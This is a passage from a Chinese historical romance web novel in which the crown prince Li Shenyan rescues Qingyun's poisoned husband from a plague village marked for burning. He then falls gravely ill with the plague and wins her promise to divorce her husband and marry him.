具体原因是为何,清蕴还不得而知,但她很快知道陈危接到了一条密令,率兵前去虹县。 既是为了控制瘟疫蔓延,也为了阻止南直隶总督狗急跳墙,必须武力镇压他任何不该有的想法。 主将并非陈危,而是另一员深得镇安帝信任的老将。 清蕴赶在他们出发前,让陈危到王家见她。 陈危如同往年一般,很快应声而至。 分别时,陈危尚未及冠,再相逢,清蕴竟感觉面前的青年有丝陌生,似出鞘利刃,光是站在那儿,就能让人感受到力量和危险。 九尺之躯把门框堵得严严实实,轻薄夏衫掩盖不住贲张的肌理。面上再无青涩,取而代之的是长年在沙场磨砺出的锐利轮廓,下颌有道疤痕随着喉结滚动若隐若现,显出丝丝凶悍。但当他看过来时,永远会习惯性仰视清蕴,目光纯粹而专注。 譬如此刻,他已经单膝跪地,“主子。” 在清蕴让他起身后,很主动地接过她手中茶盏,帮她续茶。察觉到白芷穿过冰鉴打来的风太小,又让她把蒲扇交给自己,为清蕴打起扇来。 白芷被抢了活儿,默默瞥了眼陌生许多的陈危,可作风又是那么熟悉。 “以后不用唤我主子。”清蕴道,“你如今身份不同了。” 陈危目光微微黯淡,“您在我心中,永远是主子。” 知道他的脾气,清蕴没有多说,转而表明意思,“我想请你帮我一件事。” 接着,把自己想随他们秘密离京的事道出。至于镇安帝那边,她可以让白芷等人做出自己还在家的假象,相信家人也会帮自己遮掩。 陈危有瞬间犹豫,他心底自然不赞成,虹县如今情况危急,他们说好听点是阻止瘟疫蔓延,实际是防止染病的百姓私自逃离或者联合违抗官府。若有闹事,就要强行镇压。 但面对清蕴,他的服从永远排在第一位,所以最后还是道了一声好。 清蕴心情微松,和陈危多交谈片刻,曾经的熟悉感回归,也就习惯了他对自己周到的服侍。往年都是如此,只要陈危在场,她一个眼神,他就能明白意思。 留陈危用了顿饭,目送他离开后,清蕴立刻让人准备行囊。 与此同时,陈危刚要回住处。踏进小巷的瞬间,他敏锐地察觉到身后暗风,立刻抬手格挡,几息之间,就和来人交手了数十来回。 昏暗的巷内不时响起沉闷的拳脚相击声,最终以对方扣住陈危咽喉,陈危拔刀对准对方腹部形成对峙。 “不错。”略带嘶哑的声音从蒙面黑布后传出。 陈危微怔,“殿下?” 扯下黑布的不是李审言又是何人? 两人都在轻微喘气,对视一眼,同时放开彼此,李审言问:“陆清蕴找你去,吩咐了什么?” 内心诧异于太子对清蕴的称呼,陈危摇头,“没什么。” 李审言冷笑一声,“不说我也知道,让你偷偷带她一起去虹县,是不是?还有什么?” 陈危不出声。 李审言:“你不说,信不信我派兵围着王家,让他们一只苍蝇都飞不出去?” 威胁之意溢于言表,陈危肌肉收紧,盯着李审言,“这似乎不关太子的事。” “真是条好狗。”李审言盯着他嗤声,实则咬牙切齿,心道陆清蕴的魅力还当真是大,早早就收服了这么一条忠心的狗。 陈危想必就是帮她一起隐瞒身世的共犯吧。 她是如何收服的人,让陈危从始至终都不动摇? “只要是她的事,就和我有关。”说了这么句意味深长的话,李审言接道,“你就这样应下她了,知道虹县如今有多危险吗?” 他可知道老头子的打算,如果控制不住,就会采取极端手段阻止瘟疫蔓延。 陈危默然一瞬,“我会护好夫人。” “就凭你?”李审言扫过他全身,虽然他承认陈危的个人功夫少有敌手,但眼下虹县的处境,不是光凭陈危一个人就能解决的。 无声磨了磨牙,李审言都感到有些棘手。 让他来想,王宗赫死不死和他根本没关系,甚至死了更好。但以陆清蕴的臭脾气,一旦下了决心,绝不会放弃去虹县。 倘若她也去那儿感染了瘟疫,难道要他看着他们俩做对地府鸳鸯?没门! 眼见陈危这儿劝不动,李审言干脆趁夜深,久违地做了回梁上君子,借着上次来王家的记忆,一路摸向春诵堂。 让守在外间的白芷进入深眠后,李审言站到榻前,看着清蕴眼下隐隐透出的青色,一时情绪翻涌,最终还是弄出动静。 睁眼瞥见床前人影,清蕴瞳孔微缩,第一反应是唤白芷,随后看到面前人往榻边的圈椅大喇喇一坐,漫不经心的姿态让她立刻意识到是何人。 她恢复镇定,慢慢起身,将长发往身后一捋,出声道:“披风给我。” 李审言:“……”一点都没被吓到,使唤起他还很熟练。 伸手把衣架上的夏披给她勾了过来。 “太子寅夜来此,有何贵干?” 李审言:“你要让陈危私下带你去虹县?” 开门见山,绝不拖泥带水。 果然是为这事,清蕴有种意料之中的感觉,也没打算撒谎,“不,是虹县附近。” “有区别吗?”李审言直起上半身,凌厉的丹凤眼盯着她,“明知如今人人都对虹县避之不及,偏要想方设法去,就这么急着送死?” 他更想问的是,她对王宗赫感情就那么深,恨不得和人一同赴死?当初李秉真病逝,也没见她流露过这种意愿。 清蕴先别开眼,“我有必须去的理由。” “你有灵丹妙药?还是真把自己当王老三的神药,他见了你就会伤病全消?”李审言火起,抬手钳住清蕴下颌,让她转过来看自己。 不知是他力气过大,还是清蕴太脆弱,那处瞬间被他掐出一道红痕。李审言愣了愣,察觉到手心肌肤的温热柔嫩,以及清蕴眼底微微的泪花。 他以为那是清蕴想到王宗赫而担忧的泪,脸色顿时更黑。 随手拭去因痛感冒出的泪水,清蕴冷静道:“我当然知道自己不是大夫,治不好病,但我能在其他方面帮上三哥。” “什么方面?” 清蕴:“我说了,你会帮他吗?” 李审言立刻冷道:“想都别想。” 清蕴不说话了,眼神向他表示,看,这就是她不告诉他的原因。 不知为何,镇安帝和李审言父子俩似乎都以为她要去虹县是感情用事,是想和三哥同生共死。但清蕴自己知道,她绝不会轻易拿自己的性命冒险,去虹县,是因为她清楚,三哥之所以把密信藏在给自己的家书中,就是信任她,以及向她传递某种消息。 所以她猜测,三哥染上的根本就不是真正的鼠疫。 沉默蔓延片刻,李审言道:“非去不可?” “是。” 李审言:“你知道,此次派去的大军暗中携带了火炮吗?” 清蕴倏地抬首,而后道:“那我更要快些去。” 证明三哥并非身患鼠疫,把他尽快带离虹县。 眼见她连这也不放弃,李审言生出了一股挫败感,却无法眼睁睁看着人去送死。 他的脸在阴影处匿了许久,最后下定决心,“行,我跟你跑这一趟!” 第106章 他想要的,远比这多多了 狂风大作, 乌云翻涌,眼见将有暴雨,御马疾驰中的李审言做了个手势,身后五十亲卫立刻换队形, 紧紧跟随他到三里外的驿站。 驿丞闻讯赶来, 校验过“勘合”, 确定人数, 再看那用词模糊的官职,心中有了主意。刚迎上前, 话没来得及说两句,就见为首青年横抱着一个被黑色披风包裹住的人,大步往里走得同时抛下一句,“安排好热食热水,最快送过来。” 说完轻车熟路地往上走, 显然是经常在驿站落脚的人, 对布局十分熟悉。观他身形和雷厉风行的作风,驿丞猜这位是个武将,官职应该也不低, 立刻让手下人按吩咐照做。 一路进门,目光在房内扫视两下,李审言把怀中人放到了圈椅上,察觉她又是低头要吐的模样, 身边没有容器, 想也不想地把手伸过去。 清蕴没怎么吃东西, 每次都是吐些清水而已, 此刻胃里翻江倒海,口中也泛酸。 见李审言没有净手就给自己倒水喝, 清蕴想也不想地别过脑袋。 李审言气笑了,“都这样了还嫌弃我,我是被谁弄脏的?” 清蕴不说话,闭眼等晕眩感消失。 “早说你不必来,既然答应了你,我就不会故意敷衍。还有你最忠心的陈危在,有什么可担心?”李审言解开身上的斗篷,回身到门口接过下属递来的包裹。 好在行李用的是防水料子,换洗衣裳没打湿。 清蕴仍在努力适应这种难受。 她会骑马,所以起初是自己单乘一骑。后来发现以她的速度赶去虹县,恐怕会耽搁不少时间,就答应了李审言载她的提议。 随后就感受到了何为风驰电掣,不知李审言是故意如此,还是真应她的要求在努力赶路,总之颠得清蕴五脏六腑翻滚。 身体底子再好,也比不过他们这种常年在外的武将。 伴着天边一道慑人弧光,轰隆盛响,大雨砸下,顷刻间噼里啪啦声不绝于耳。 洗过手的李审言走来,瞧见清蕴苍白无比的脸色,到底心软,同时也有对她为王宗赫不顾一切的不悦。 重新倒杯水递去,他扶着人低声道:“喝点水,我洗了手。” 清蕴睁眼,就着他的动作慢慢喝下半杯,难得柔顺的模样令李审言目光微缓。 不多时,驿站再次传来大批脚步声。以李审言的耳力,透过半合的房门听到有人一路上楼,目标清晰地往他们这边走来。 他大致猜到了是谁。 陈危奉命公干,他是私底下带陆清蕴去虹县,两方人马自然不能光明正大地走在一块。但路是同样的,区别在前后而已,这一路上凡是歇在驿站,陈危都会来看望。 门被推开,果然是陈危,他并非空手来,还带着一壶温水和一罐蜂蜜。 他道:“这种时候,夫人习惯喝一杯蜜水。” 李审言微微眯眼,很快神情自若嗯了声,问清蕴,“要喝吗?” 清蕴微不可见地点头。 她很少这样虚弱无力,即便生病都难有这么狼狈的姿态。因此,面前两人眼下更关心的是她的身体,顾不得其他。 在清蕴喝完蜜水继续歇息的当口,陈危已经帮她解下发簪,从行李中挑出了合适的就寝衣物。紧接着,把被褥铺成她喜欢的形状,从墙角取来一盏小灯,方便她睡前视物。 李审言默默看着,总觉得哪儿怪怪的。思考半晌想起来了,很小的时候,祖母似乎就是这么照顾他的。 这是把陆清蕴当成毫无自理能力的小孩了么? 还是说,陆清蕴私底下其实就喜欢这种做派,恨不得别人把饭都喂到嘴里? 偶尔这么来一次,李审言会觉得有意思。如果时常如此,他有点想象不出那种场景。 饭菜和热水同时送了过来,清蕴没什么胃口,吃了半碗蛋羹就恹恹停手,继续喝水。 索性还有肉干、蜜饯、糕点之类的零嘴,不担心她会饿着,李审言和陈危就快速吃了这桌饭菜。 急行军对寻常士兵来说都容易感到疲惫,他们身体强健些,但也消耗得更多,需要及时补充体力。 等到清蕴准备沐浴时,李审言就去隔壁房间收拾自己,留陈危在门外守。这几天他们都是如此安排,确保清蕴身边不会离人。 毕竟是在外面,她又没带上白芷藉香,他们要做的是万无一失。 陈危如松般静默无声地立在外面,偶尔能听见最里间的水声,这种时候他就会故意转移注意力,专注于驿站外的大雨。 雨水强劲,以不可抵挡之势倾覆而来,又是在她身侧,让他不知不觉想起那年夏天,从江苏进京的路上。 表姑娘坠崖身亡,叔父重伤昏迷,他咬牙带着她和叔父走了许久的路抵达城镇,终于得以入住客栈。 当时也是在这样的大雨中,两人隔着屏风轮流洗漱。夜里相对许久,然后她提出了那个想法。 她说:“你和陈管家奉命来接陆姑娘,如今办事不力让她身亡,陈管家又身受重伤。如果这样回去,主家定会大怒,不仅不会管他的伤,还可能迁怒你们。” 说着,把她的打算娓娓道来。 她的言语很有蛊惑性,声音轻轻柔柔,不经意间就说进了当时年仅八岁的陈危心坎。 因为他也不知道,除此之外,还有什么办法可以救叔父。 离京城越近,他发现她越发难眠,常常整夜睡不着。之所以能察觉,是因为他也是如此。 又一个不眠夜,她醒来,忽然让陈危在她左肩肩胛骨处剜下一块皮肉,因为她想起陆姑娘在那儿有块胎记。 胎记不好模仿,毁掉却很容易,只要编个受伤的借口就行。 陈危颤抖着手剜去那块皮肉,感受她痛得直流,滚烫的眼泪落在他的后背,气息不稳地在他耳边轻声道:“你不会骗我的,对不对?” 陈危说不会,她则缓慢伸出手,惨白的脸上汗泪交加,“这是哑药,你喝下,我就彻底放心了。” 和她对视半晌,当时陈危毫不犹豫地把药粉倒入口中,感受到惊人的苦涩,以为真是可以让人成为哑巴的毒药。等过去一个时辰,却发现什么症状都没有。 那时候,她露出一个虚弱的、浅浅的笑,“当然是骗你的,不过,我相信你了,陈危。” 从那一刻,陈危真正感觉两人的命运连在了一起。 沉浸在回忆中的陈危忽然听到动静。 “李审言?”熟悉的声音唤了两次,陈危默不作声。 第三次,清蕴换了人,叫一声“陈危”,外面的人立刻推门而入,“主子。” 暴雨天的傍晚不算炎热,沐浴过后的清蕴脸色恢复几分红润,“今晚你们谁守夜?” 陈危:“按计划应是我。” 清蕴想了想,“明天你们就能抵达凤阳,今晚你回去吧,不必守。等到凤阳,有几件事先去查。” 她让陈危靠近,在他耳边细声叮嘱。 突然,毫不掩饰的脚步声从门边传来,李审言大步入内,发尾还在滴水,撞见这情景先愣了愣,很快恢复淡然,“在商量救王老三的办法?” 对他作风习以为常的清蕴没说什么,陈危则隐隐看过去。在这几年中,太子李审言和主子发生了什么? 看太子的态度,对主子绝非普通朋友,更像是……但,主子分明已经和三公子成婚了? 没追问他们商量的什么,李审言只道:“先说好,如果有危险,虹县情况到了无可挽救的地步,你就算哭着喊着要往里面冲,我也会把你打晕带走,到时候可别埋怨我。” 清蕴:“……我不会。” 李审言瞥过去,轻不可闻道:“最好不会。” 因明天就要进入凤阳府,三人都清楚今晚要早点休息,养精蓄锐。清蕴不认为在驿站能有什么危险,想的是让两人都各自回房歇息。 李审言起初没答话,看着陈危离开后才道:“我继续守外屋。” “但是……” “没什么但是,放心,我坐着也能好好睡一晚,肯定不耽误救你情郎的功夫。” 清蕴:“……” 这人最近如同吃了炸药,没几句话不带幽怨,总是阴阳怪气。 不过,他能跟着跑这一趟,已是极为难得。以他的身份和权力,也定会给此行带来极大助力。 清蕴并非不懂感恩之人,上榻躺了会儿,她还是出声,“李审言。” 片刻,外间传来模糊男声,“要喝水?” 清蕴无声笑了下,“谢谢你。” 平静的三个字,比以往清蕴温柔说话的语气不知差了多少,偏偏让李审言微震,睁开了眼,视线投向里间。 目光灼灼,在黑夜中比烛火还亮。 只是谢谢吗?他想要的,远比这多多了。 ** 进入凤阳府,所有人都隐隐感受到了空气中的紧绷气息,随意笑闹的行人很少,市井间完全没有放松闲适的氛围。 虹县闹瘟疫的事已经传开来,相差不了多远的地方,当地百姓担心大疫传到自己这儿,有些人已经着手离开凤阳了。为了避免引起大规模弃城的乱子,官府加强管控,不让人随意拖家带口出城。 殊不知这样强行控制,反而让一些百姓越发恐慌,生怕官府要把他们和虹县的人一样对待。 听到这些做法,李审言眉头皱得很深。如果不是知道此刻不宜大动官员,他当场就会把凤阳知府吴鹤抓起来。 这都办的什么事。 他雇了辆马车,清蕴被勒令待在里面不准露面,等到了让人提前置办的住处,李审言亲自带着人用艾草和烈酒把里里外外熏了遍,这才让人下来。 他没了漫不经心的神色,沉沉看着清蕴,“到了这儿,一切听我的,不许擅自行动。” 清蕴:“好。” 她顿了顿,“既然到了这里,我也有一事想告诉你。” 接着,把虹县瘟疫一事的所有由来,和她认为王宗赫是中毒而非染病的猜测通通道了出来。 李审言之前知道大概,但没这么详细,听完若有所思,“这就是你一定要亲自来的理由?” “嗯。” 李审言沉默,此刻对王宗赫不止有嫉妒,更有歆羡。 因为清蕴懂他,不止懂,还没有辜负他的信任。 王宗赫遇险,陆清蕴仍能始终保持冷静和理智去思考,说实话,李审言不认为这是世人口中的男女之情。可这种感情,即便只是兄妹、亲人间的情谊,也远胜其他。 “你确定吗?” 清蕴:“我有七成把握。” 李审言点头,没说什么挖苦、大发醋意之言,“我先让人去打探情况,时间紧,最好这几天就把人弄出来。” 清蕴也是这么想的,鼠疫难以控制,凤阳知府本就有杀人灭口的心,再加上镇安帝隐隐的态度,说实话,她不觉得他们能有耐心等疫病自然而然结束。 随行携带的火炮,更加剧了她的猜想。 接下来,因李审言的存在,清蕴没有必要随意走动,就在临时落脚处等待消息,有深入了解后再分析下一步动作。 但形势变幻太快,就在陈危等人抵达凤阳没两日后,清蕴得知消息,知府吴鹤已经说服镇安帝派遣来的大将,把瘟疫最严重的那个村围住,用投石车投掷草木和桐油,再射箭引燃,直接焚村。 如果不是陈危阻止,他甚至想直接动用火炮。 凤阳知府说村中已无活口,实际他们都清楚,里面还有些染病未死的人,王宗赫也在其中。 主意是临时定的,传到李审言这儿时,易燃的草木都投得差不多了,已经有大批人马围在了村庄五里外。 他一顿,立刻意识到王宗赫的危机。 寻常人去拦,绝对拦不住。 敛目思索会儿,李审言迅速做了决定,抓了把防疫病的药包,飞身上马,把贴身令牌给了亲卫,咬牙道:“去拿给吴鹤和古将军,就说我正在村内,在我没有出来前,谁也不准放火,不然就等着灭九族!” 第107章 “好。” “砰——”古辽把桌子拍得震天响, 眼瞪得如牛,“你们就这么眼睁睁看着太子冲进去了?!” 亲卫面无表情点头,看得古辽无力又火大。真不愧是太子带出的兵,和他一样犟, 竟也不懂得变通阻止。 那可是瘟疫、瘟疫!他们都连焚村都不敢接近, 准备用投石车解决, 太子竟亲自进村了! 古辽年逾五十, 身体向来强壮得很,这会儿却感觉到了胸闷气短, 险些厥过去。 他怎么从来不知道,太子和王家人关系好到这地步,竟愿意为其涉险? “所有布置,马上停下——”古辽一声怒吼,震得所有人心头发颤。 吴鹤小心翼翼, “王大人可是确确实实染了瘟疫, 若是太子要强行把人带出来……” “带出来又怎么样?你要把太子也封在里面,一起烧死吗?“古辽阴恻恻道。 吴鹤不说话了,眼底闪过不甘。王宗赫死了, 还可以用他身染瘟疫无法救治、必须顾全大局来搪塞,但太子是无论如何都不可能被放弃的。 整个虹县都没了,太子也不能有事。 情绪几经转换,吴鹤最终决定先去信给总督。 救出来又如何?人不一定能活。其次, 他们这阵子已经把证据消灭得干干净净, 王宗赫即便猜出真相, 也告不了御状。 这样一来, 他最多丢官受罚,却不至于没了性命。 心下大定, 吴鹤也开始投入到接应太子的大事中。 这厢为太子的冲动忙乱不已,那厢,被所有人担忧的李审言策马冲进包围圈后没有贸然行事,而是把马停在外地,徒步进村。 通过手下查探,他知道村子里还有活口,但大都是病入膏肓、无法救治的重症之人。 虽然心里有些许抱歉,但他不可能带这些人出去,更不能让他们绝望之下阻拦自己。 凑近些,整座村庄传出一股药气和腐臭交织的味道,在炙热的夏日尤为明显。 李审言掩住全身,锁定一处房屋,快速溜了过去。 房门外用链子整整锁了一圈,透过门缝看去,李审言隐约看到一个站立的人影,低低唤了两声。 里面的人愣了愣,昏沉许久的脑袋反应过来这是谁,疑心自己在做梦,出声道:“……是我。” 李审言:“离远些,我要砍断锁链。” 说完,抽刀盯着几处猛砍数下,锁链叮当落地,门随之被踹开,一眼看见正虚弱倚在墙边的王宗赫。 即便李审言对他厌恶、嫉妒,一度想至他于死地,但也不得不承认王宗赫的风姿。若不是如此,这人也不会受到那么多赞誉。 再看眼前,说骨瘦如柴一点也不夸张,脸颊凹陷,肤色蜡黄,眼眶发黑,看着就是个行将就木的重病之人。 深深皱眉,李审言扫视这狭小的屋子,桌面剩余几块粗饼,角落大缸里还有半缸水,想来这些日子王宗赫就是靠这些充饥。 亏他撑住了。 李审言立在三步远的距离,“我问你,如实答。“ 确定面前人听清后继续,“你到底是中毒还是染病?” 王宗赫静了会儿,“我被关进来时,确定是中毒。但待了这些日子,无法确定有没有染上疫病。” 他很虚弱,说完这几句话有些气喘。刚才试图开锁又费了些力气,现在连眼睛都得半闭着。 但王宗赫没有求对方救自己,很平静地说出了实话。 沉默在这间死气沉沉的小屋蔓延。 李审言盯着人,忽然道:“我可以救你,但前提是,出去以后你就要与陆清蕴和离,让她嫁给我,如何?” 王宗赫睁眼,与面无表情的李审言对视,然后又缓缓闭上眼。 他不会回答这种话,也不屑答。 如果他死在这里,那是他无能,没办法陪伴表妹一生,嫁娶之事自然由表妹自己做主,但他绝不会为了求生而被迫离开她。 李审言等了会儿,确定王宗赫是懒得回答自己,而非昏迷,不由扯唇笑了下,上前一步,“行!算你还有点骨气。” 如果王宗赫真答应了,他也瞧不起这人,更不会救。 说罢,李审言单手把人扛起,迅速往村外停马处跑。 途中还遇到桩意外,往外跑的路上,李审言没注意,抬脚绊到了一个在路边爬的孩童。 孩童浑身瘀斑、皮肤发黑,如果不是眼睛和手部的轻微动作,李审言几乎察觉不到他还活着。 看着他带人跑出来,孩童眼中充满了对生的渴望,嘴巴一张一合想说什么,却发不出音节。 李审言微微握拳,掠过人径直往马儿跑去。 接下来的路程就相当顺利了,把王宗赫放在马上,李审言再次冲出村庄外的包围圈时,所有人都看见了他,也远远让出了距离。 看来都已经安排妥当。李审言如此想,没有停止扬鞭,策马继续往附近的小山去,那里有他让亲卫早就准备好的房屋。 小山早就被清出来了,不会有猎户农夫出入,除去李审言的五十亲卫,就只有大夫。 瞧见太子身影,全副武装的所有人立刻分成两队,一队接过王宗赫,迅速把人移到屋内医治。一队帮李审言解去身上所有衣物,用艾草等物把人熏了个遍,再送去药桶泡澡。 直到这时候,李审言才微微松了口气,狂跳的心渐渐平复。 深入瘟疫爆发的村庄和上战场很是不同,后者看得清敌人,只要有足够的武力就能自保。前者……谁也不能确保会不会染上疫病,就连他,这时候也要把自己和他人彻底隔开,等三天后毫无异状才能放心。 陆清蕴那儿此刻应该知道了消息,会很高兴吧。李审言想着,把自己泡进了浴桶深处。 ** 清蕴确实知道了消息,是在李审言把人带出后才被告知的,彼时陈危已经奉命把吴鹤看守起来,再赶来向她禀告。 他注意到,向来冷静的主子竟有瞬茫然,想按住方桌的手落空,险些摔着。 陈危上前扶她,“主子。” 清蕴:“他们在哪?” “在山上,被隔开照看。” 这是应该的,两人情况不同,隔开最为稳妥。清蕴没想到的是,李审言竟甘愿冒这么大的风险,还做了如此细致的安排。 作为一国储君,他的行为无疑冒失而冲动,如果当时清蕴在场,定会阻止他。 但作为受益者,她没法站在任何角度,说出一个指责的字。 “山脚下应该也有地方待着,我去那里。” 陈危颔首,“我和主子一起。” 收到清蕴疑惑的眼神,他解释道:“我请求来照看太子,古将军应了。” 太子虽然不是古辽带来的,但人在他眼皮子底下出事,他要是不管不顾,回头陛下怎么想?陈危主动请缨,他当然不会拒绝。 至于他自己,他还要坐镇凤阳继续处理瘟疫的事,也要和南直隶总督周旋。 这即是说,陈危和他带领的部分人也可以留在这边专心照看他们。 清蕴点头,迅速赶去那名为鸳鸯峰的小山。 由于二人情况未定,其余人暂时不被允许接近。清蕴就凭借从彭掌柜那儿拿来的商会牌子,让陈危去多采买些药材,既为凤阳府的百姓,也给王宗赫、李审言。 这些药很快派上了用场,因为大夫在当晚就确定,王宗赫并非染病,而是中毒,要为他配置解毒药。 之前被强行和王宗赫分开却求救无门的疏影激动得眼泪都流下来了,“多亏夫人赶来……” 不然还有谁会坚持救主子? 清蕴没有居功,目带复杂,“我没做什么,真正救三哥的,是太子。” 疏影停顿,意识到这是事实,有一瞬间的别扭,不过也很快爽朗道:“等主子养好身体了,肯定会亲自去向太子殿下道谢。” 清蕴看向了山的另一侧。 真正染了鼠疫到后期会有很明显的症状,和王宗赫状态不符,所以能很快判断出来,李审言那边却要等好几天。 仍没有被允许上山的清蕴继续耐心等待。 然而,注定没有两全其美的事。翌日一早,山上明确传来消息,太子半夜发起了高热。 所有人的心都沉了下去。 许是在那儿不小心受了伤,许是受了蚊虫叮咬,又许是其他……总之,身体强壮的李审言去瘟疫所在的村子里绕了一圈,回来就发高热,确定是染病无疑。 鸳鸯峰戒备更加森严,集中围守的人少了,变成每隔一段距离就开始巡逻放哨,层层看守。 清蕴注意到,有些随大夫而来的药童下山取药时都止不住得害怕。如果不是要医治的人是太子,他们恐怕都想跑了。 世上真正能坦然面对一个疫病病人的人,还是少数。 第三日清晨,清蕴拦住了准备回山上的大夫,“我也懂些药理,可以帮忙。” 大夫知道她身份不凡,面露迟疑。 清蕴不为难人,她也没说谎,来之前她了解了许多防治疫病的知识,还跟着上手学了些东西,这种时候绝对能派上用场。 果不其然,在她展露本事,又发现周围人无法拦她后,大夫很快就松口了,只叮嘱她一定要做好措施,绝不能让自己染病。 清蕴一应说好,听话地把全身包裹严实,跟着大夫去照顾人。 她是不用贴身照看的,做的是其他杂活,顶多能待在窗外、门外。 整整两天,清蕴几乎都没听到李审言清醒地说话。他不仅迅速发起高热,颈部还高高肿起,对发声也造成了阻碍。 大夫费尽力气,才让他的热度退下,不至于把人烧成傻子。其他的,就要看他们配的这些药能不能起作用。 这三五天下来,所有人都被那根弦绷得神色疲惫,毕竟他们的脑袋都系于面前人的安危。 …… 又是一日傍晚,山风拂来,吹散白天积下的燥热。清蕴照常把窗打开,让屋子里通风散气,不期然对上一双微张的眼。 榻上人许久没说话,声音很哑,“你是……” 清蕴刚要颔首,一个“谁”字接踵而至,让她怔住。 所以还是烧坏脑子,失忆了? 忽然间,李审言微微笑起来,纵然这笑在他如今的脸上变得有些扭曲,仍让清蕴看出了促狭。 他认出她了,是故意的。 丝毫没有生气,清蕴甚至也淡笑了下,看出他想喝水,刚要绕进屋帮他倒水,被低声喝住,“不许……来!” 她适时停住脚步,看着李审言剧烈喘了两口气,自己拿起铜壶往嘴里灌水。 润过嗓子,他舒服了些,眼睛用力眨,感觉很难睁大,后知后觉发现自己恐怕脸都肿了起来。 这副模样应该很可怕。他脑海里闪过这个念头,再看向清蕴,对着她轻声道出一句话。 清蕴根据口型连蒙带猜,意识到他问的是“王老三怎么样了”,不由动了下眉头。 这两人颇有默契,之前三哥清醒,也问了李审言。 她道:“他很好,毒已经解了大半,过几天就能走动。” 王老三命还真硬。李审言想着,尽量忽略自己浑身的乏力和肌肤隐隐传来的痛感。 醒了,不代表正在痊愈。李审言很了解自己此刻的状态,并没有好多少。 他还记得意识模糊时,大夫焦急又无力的语气。 李审言继续看向清蕴,又问了句话。 很短,是“我厉害吗”这几个字。 清蕴顿住,定定与他对视,“尽快好起来,才叫厉害。” 李审言“嗬嗬”笑起来,像只即将失声的鸭子。 他看得出来,陆清蕴情绪很复杂,对视的这小片刻,已经几度低眸,可能是被他的样子所惊吧,也有可能是其他。 想得更远些,李审言又灌了口水,发现总算能稍微流利地说话了,立刻问:“我……没救了?” “没有。”清蕴轻声,“只是有点难治,几个大夫还在想办法。” 李审言没吭声,继续躺在那儿,心想陆清蕴骗自己的可能性是几成。 他不怕死,但如果是为了救王宗赫而死……说出去总有些怪怪的。 “那你之前……哭什么?” 清蕴:“……我没哭。” 李审言喔了声,却不知清蕴并未说谎,是他自己意识模糊间听到药童哭泣,认成了女声,以为是清蕴伏在他床边嘤嘤流泪。 在榻上人胡思乱想之际,清蕴主动开口了,“李审言。” 李审言立刻看过去。 “为什么一定要帮我救三哥?” 以李审言的性子,她一直认为,他会巴不得三哥去送死。所以在亲眼看到他以身涉险,才会受到极大震动。 说完,清蕴补充,“不如实答,我就当你闲着没事做,不记你这份恩情了。” 李审言微微瞪大眼,里面冒着火,似乎在说“这么没良心的话你也能说出来?” 这眼神太生动,让清蕴微微笑起来,“所以,可以告诉我吗?” 李审言避开她灼灼的视线,喉结在肿胀的颈项间艰难滚动。 暮色漫过他的眉骨,把他眼底那簇火映得忽明忽暗,“他救过你。” “什么?” “当初那年杨煦逼婚……你为自保不得不嫁他。如今我替他挣回这条命……就算两清。” 山风忽地穿窗而过,卷起清蕴垂落的发丝。她扶在窗棂的手指微微蜷紧。 这几日的辗转反侧,午夜梦回的焦灼,此刻都化作心中的茫然——原来这场生死豪赌,不过是要帮忙斩断他心中束缚在她身上的枷锁。 他的初衷,原来仅仅是此。 即便这初衷可能仅仅占了原因的一半,其中饱含的情意,也已经滚烫到令她无所适从。 本就在一直强行禁锢自己的栅栏,顷刻间似乎摇摇欲坠。 李审言一直用余光注意她的反应,一时竟觉察不了她此刻想法。 许久,终于再次听到她的声音,“那便成了我欠你的,你有什么要求吗?” 李审言眼神登时亮起,“如果我好了……嫁给我!” “不行。” 李审言:“……” 明知他想要的就是这个,那还说什么? 清蕴却仍然静看着他。 电光石火间,李审言忽然意识到什么,再度开口,“等我痊愈,同他和离?” 一盏茶、也许是两盏茶的时间,李审言听到了一声“好”。 这个字轻得像落进盆里的灰,却在李审言胸腔炸开惊雷。 铜壶咣当砸在青砖上,水流蜿蜒着漫过他的指尖——原来生死边缘搏来的承诺,比想象中更教人惊喜。 他盯着地上晃动的光影,那些在溃烂伤口里发酵的执念,那些在生死间隙翻涌的妄念,此刻都化作喉间急于大喊出声的喜悦。 “等你黑斑褪尽。”清蕴道,“等你能策马绕山,等三哥能亲笔写放妻书——” 最后一缕天光坠入她鬓间发簪,李审言望着那个渐远的背影,突然闷笑出声。 笑着笑着咳出满掌血沫,却在腥甜里尝到近三十年未曾有过的痛快。 第108章 仅是抱一抱,应该不过分吧? 李审言因清蕴的话精神大振, 但病情并没有随之减轻,反而越发凶险。 起初是皮下黑斑蔓延,和溃烂的肿胀处融成一块,宛如缠绕的藤蔓, 让他时常在昏沉中抽搐。 后来清醒的时候减少, 偶尔醒来, 也是蜷缩成块, 十指深深抠进床缝,宛如被割喉的人大口大口喘着气。这种时候, 大夫就会迅速上前,用按摩拍打的方法助他呼吸。 一切种种,清蕴都只能隔着窗户或门看。 最常看到的是药童端着铜盆疾走,盆中浸泡的纱布呈现出诡异的蓝绿色。给他新换上白绸中衣,不到半刻钟就会洇出黄褐色的汗渍。 时间久了, 肿胀处的皮肤竟呈现出半透明的质感, 薄得像糊窗的油纸,底下的血管脉络清晰可见,看起来十分可怖。 病情汹汹, 但真正亲眼看见,才知道它的可怕。 如果李审言知道经历的是这些,他会后悔吗? 在试了几种药方都不起作用的情况下,发现李审言身体还扛得住, 大夫们商议一番, 最终决定用银针封住他心脉要穴, 再上猛药。 这法子先问过了清蕴, 再请教古将军,两人都表示同意后, 再趁李审言清醒的小片刻请示。都应允了,大夫才敢动手。 封住脉后,浓黑的药汁刚灌进去,李审言全身筋络立刻如同活蛇游走般凸起,牙关咬得咯吱作响,汗水浸透被褥。这种痛苦让他瞬间暴起,几拳下去就打倒了身边的大夫和药童,让亲卫不得不迅速冲进来按住人。 整整五人,才勉强把他按下去。 挣扎间,李审言忽然睁眼望向窗外那道模糊的身影,仿佛在隔着重重雨幕确认什么。 亲卫起初莫名,忽然间灵光一闪,凑到他耳边低声道:“陆夫人在呢,主子。” 李审言不知听没听到,但动作随之小了许多。 不过,眉间的沟壑丝毫没有减少,这种虎狼之药带来的痛感很强,纯靠个人毅力来忍。 为避免他继续挣扎,几个亲卫狠狠按着人不敢放松。近小半个时辰后,人才慢慢平复下来。 又过片刻,他脑袋一歪,闭上眼。 亲卫手抖心颤,愣愣看向大夫。 大夫忙不迭伸手去探,确定气息还在,是力竭后的昏迷,心中巨石落地,示意他们轻手轻脚地退出去,小声道:“闯过来了。” ** 得知李审言最凶险的时刻熬过去了,清蕴跟着长舒一口气,“接下来要如何,继续待在这儿,还是要换地方?” 雨水连绵的山林过于潮湿,并不适合养病。 